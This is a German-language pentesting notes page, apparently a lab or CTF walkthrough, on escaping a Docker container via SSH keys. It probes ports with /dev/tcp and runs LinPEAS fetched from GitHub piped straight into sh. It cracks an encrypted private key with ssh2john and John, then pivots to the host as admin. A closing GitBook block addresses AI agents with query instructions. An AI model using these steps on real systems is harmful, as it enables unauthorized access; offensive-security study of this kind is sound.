> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Docker-Escape (SSH-Schlüssel) - Linux-Privilegieneskalation

## Was es ist

Docker-Escape-Pfade nutzen Fehlkonfigurationen von Containern, eingehängte Host-Ressourcen, Standardanmeldedaten, wiederverwendete Passwörter oder übermäßige Container-Rechte aus. Das Ziel ist es, vom Container-Kontext zu Zugriff auf Host-Ebene zu gelangen. Diese spezielle Seite konzentriert sich auf **Docker-Ausbruch (SSH-Schlüssel)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Beispiele

Wir befinden uns in einem Container und verwenden den Befehl, um die Container-Adresse auf der Host-Seite zu finden (192.168.150.1). Dann prüfen wir, ob Port 22 auf diesem Rechner offen ist.

<figure><img src="/files/82f91a5887735c1aeae4ad52bf45302eeec0427c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6cbfe96afede3734c5a193f12a3e08e724fe8afc" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/9079d061555361f879ad259280ef852ccbcae13a" alt=""><figcaption></figcaption></figure>

### **System-Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Wir verwenden LinPEAS zur Enumeration der Privilegieneskalation:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/30bcb280700f3b1ad683b46d73b8d98a66dd83c9" alt=""><figcaption></figcaption></figure>

**Wir finden ein unerwartetes tgz-Verzeichnis im Stammverzeichnis.**

<figure><img src="/files/f1814449a4fae87799aea962e5896a2cd4069eac" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Geschütztes privates SSH-Schlüssel-Exploit:**

### Identifizierung des privaten SSH-Schlüssels

Wir identifizieren ein Paar aus öffentlichem und privatem OpenSSH-SSH-Schlüssel.

<figure><img src="/files/aca186b6128a7bd1c25960a75b25bec08ddef190" alt=""><figcaption></figcaption></figure>

### Knacken des privaten Schlüssels:

* Wir stellen fest, dass der private Schlüssel verschlüsselt ist

<figure><img src="/files/0ddcd79e06b07ad3f64912cd5e8dde38366e2783" alt=""><figcaption></figcaption></figure>

* Wir verwenden **ssh2john.py** um den Dateiinhalt in einen Hash umzuwandeln:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/7888331eba5dcce14cbbd4839c413fecc5ee9196" alt=""><figcaption></figcaption></figure>

* Dann verwenden wir John the Ripper, um den Hash mit einer Passwortliste zu knacken.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/4e29de76a13f45ee1236407952a14cf9f126b384" alt=""><figcaption></figcaption></figure>

### Zugriff als root:

Wir erhalten Zugriff auf den Rechner als root.

<figure><img src="/files/e3018003b586432a15f84b5a9e1fa4cf3f936135" alt=""><figcaption></figcaption></figure>

### **Missbrauch des Vertrauens in SSH-Schlüssel, um aus dem Container auszubrechen:**

Verwende den `known_hosts` Konfiguration im SSH-Verzeichnis des Containers, um zu einer anderen Maschine zu pivotieren, wodurch wir uns mit dem Admin-Benutzer auf dem Host-System verbinden können.

<figure><img src="/files/57b74d61f8d6560c959b4f9351e0d4fe2fc10c2a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a1543eb6ef8a52ed0327a9475df50354a2bf2cd1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
